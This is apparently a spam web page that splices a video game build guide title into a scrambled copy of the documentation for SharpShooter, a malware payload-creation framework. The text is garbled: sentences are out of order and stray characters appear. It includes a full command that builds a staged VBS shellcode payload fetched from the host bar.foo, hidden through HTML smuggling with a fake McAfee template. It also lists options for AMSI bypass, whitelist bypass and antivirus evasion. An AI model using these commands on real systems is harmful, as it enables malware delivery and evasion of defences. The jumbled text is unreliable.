Best Sharpshooter Gunslinger Builds in 7.0.Introduction to Sharpshooter Gunslinger.
Sharpshooter Patch#
The guide is up-to-date for Patch 7.0.2b. The resultant payload is stored in the output directory named 7.0 Sharpshooter Gunslinger PvE Guide (DPS) for beginners and more experienced veterans: Skills, Choices, Rotations, Gearing, Builds, Tips! The VBS file will attempt to key execution to the CONTOSO domain and will be embedded in a HTML file using the HTML smuggling technique with the McAfee virus scanned template. The same file should also be hosted on the bar.foo domain using PowerDNS to serve it.
The payload is created in the output directory named foo.payload and should be hosted on. The CSharp file used is the built-in SharpShooter shellcode execution template. The payload will attempt to retrieve a GZipped CSharp file that executes the shellcode supplied as a CSharp byte array in the csharpsc.txt file. This example creates a staged VBS payload that performs both Web and DNS delivery. csharpsc.txt -sandbox 1=contoso -smuggle -template mcafee -dotnetver 4 SharpShooter.py -payload vbs -delivery both -output foo -web -dns bar.foo -shellcode -scfile. mcafee)Įxamples of some use cases are provided below: Stageless JavaScript refs References required to compile custom CSharp,Į.g. scfile Path to shellcode file as CSharp byte array shellcode Use built in shellcode execution rawscfile Path to raw shellcode file for stageless payloads delivery Delivery method: web, dns, both amsi Use amsi bypass technique: amsienable payload Payload type: hta, js, jse, vba, vbe, vbs, wsf awl Application Whitelist Bypass Technique: wmic, regsvr32 com COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote h, -help show this help message and exit Running SharpShooter with the -help argument will produce the following output: SharpShooter is highly configurable, supporting a number of different payload types, sandbox evasions, delivery methods and output types. Version 2.0 of SharpShooter added the AMSI bypass module, along with support generating VBA and Excel 4 macro enabled documents.įurther information can be found on the MDSec blog post. To acomplish this new functionality, several new flags were added -com, -awl and -awlurl. Version 1.0 of SharpShooter introduced several new concepts, including COM staging, execution of Squiblydoo and Squiblytwo, as well as XSL execution.

Sharpshooter code#
SharpShooter includes a predefined CSharp template for executing shellcode with staged and stageless payloads, but any CSharp code can be compiled and invoked in memory using reflection, courtesy of CSharp's CodeDom provider.įinally, SharpShooter provides the ability to bundle the payload inside an HTML file using the Demiguise HTML smuggling technique. SharpShooter payloads are RC4 encrypted with a random key to provide some modest anti-virus evasion, and the project includes the capability to integrate sandbox detection and environment keying to assist in evading detection. Alternatively, stageless payloads with embedded shellcode execution can also be generated for the same scripting formats. Payloads can be retrieved using Web or DNS delivery or both SharpShooter is compatible with the MDSec ActiveBreach PowerDNS project.
It leverages James Forshaw's DotNetToJavaScript tool to invoke methods from the SharpShooter DotNet serialised object. SharpShooter is capable of creating payloads in a variety of formats, including HTA, JS, VBS and WSF. SharpShooter is a payload creation framework for the retrieval and execution of arbitrary CSharp source code.
